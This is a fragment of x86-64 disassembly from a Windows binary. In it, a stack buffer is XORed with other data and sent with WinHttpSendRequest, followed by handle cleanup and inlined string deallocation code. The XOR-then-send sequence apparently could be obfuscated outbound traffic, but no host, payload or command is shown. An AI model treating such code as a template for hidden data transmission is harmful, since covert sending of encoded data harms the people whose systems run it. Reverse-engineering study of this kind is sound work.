movdqa xmmword [rbp + 0x4c0], xmm2
xorps xmm3, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x4d0], xmm3
xorps xmm4, xmmword [rbp + 0x1f0]
movdqa xmmword [rbp + 0x4e0], xmm4
mov qword [rsp + 0x30], rdi
mov eax, dword [rbp - 0x30]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
mov r8d, 0xffffffff
lea rdx, [rbp + 0x4a0]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov rcx, r13
test eax, eax
jne 0x1400347d9
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edi, 1
jmp 0x1400347fc
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, r13
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r12
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14003483a
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034835
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034835
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
movdqa xmm0, xmmword [0x1400b7610]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14003488a
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140034884
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140034884
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
nop
mov rdx, qword [rbp + 0x540]
cmp rdx, 0xf
jbe 0x1400348cb
inc rdx
mov rax, r15
cmp rdx, 0x1000
jb 0x1400348c2
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400348c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.14009ab20
nop
mov rdx, qword [rbp + 0x2e8]
cmp rdx, 0xf
jbe 0x140033d40
inc rdx
mov rcx, qword [rbp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003490e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003490e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
jmp 0x140033d40
call fcn.14009ab20
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x140034963
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003495d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003495d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
nop
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400349a1
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003499c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14003499c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14009ab20
mov eax, edi
mov rbx, qword [rsp + 0x648]
add rsp, 0x5f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140030390
nop
call fcn.14002c1c0
int3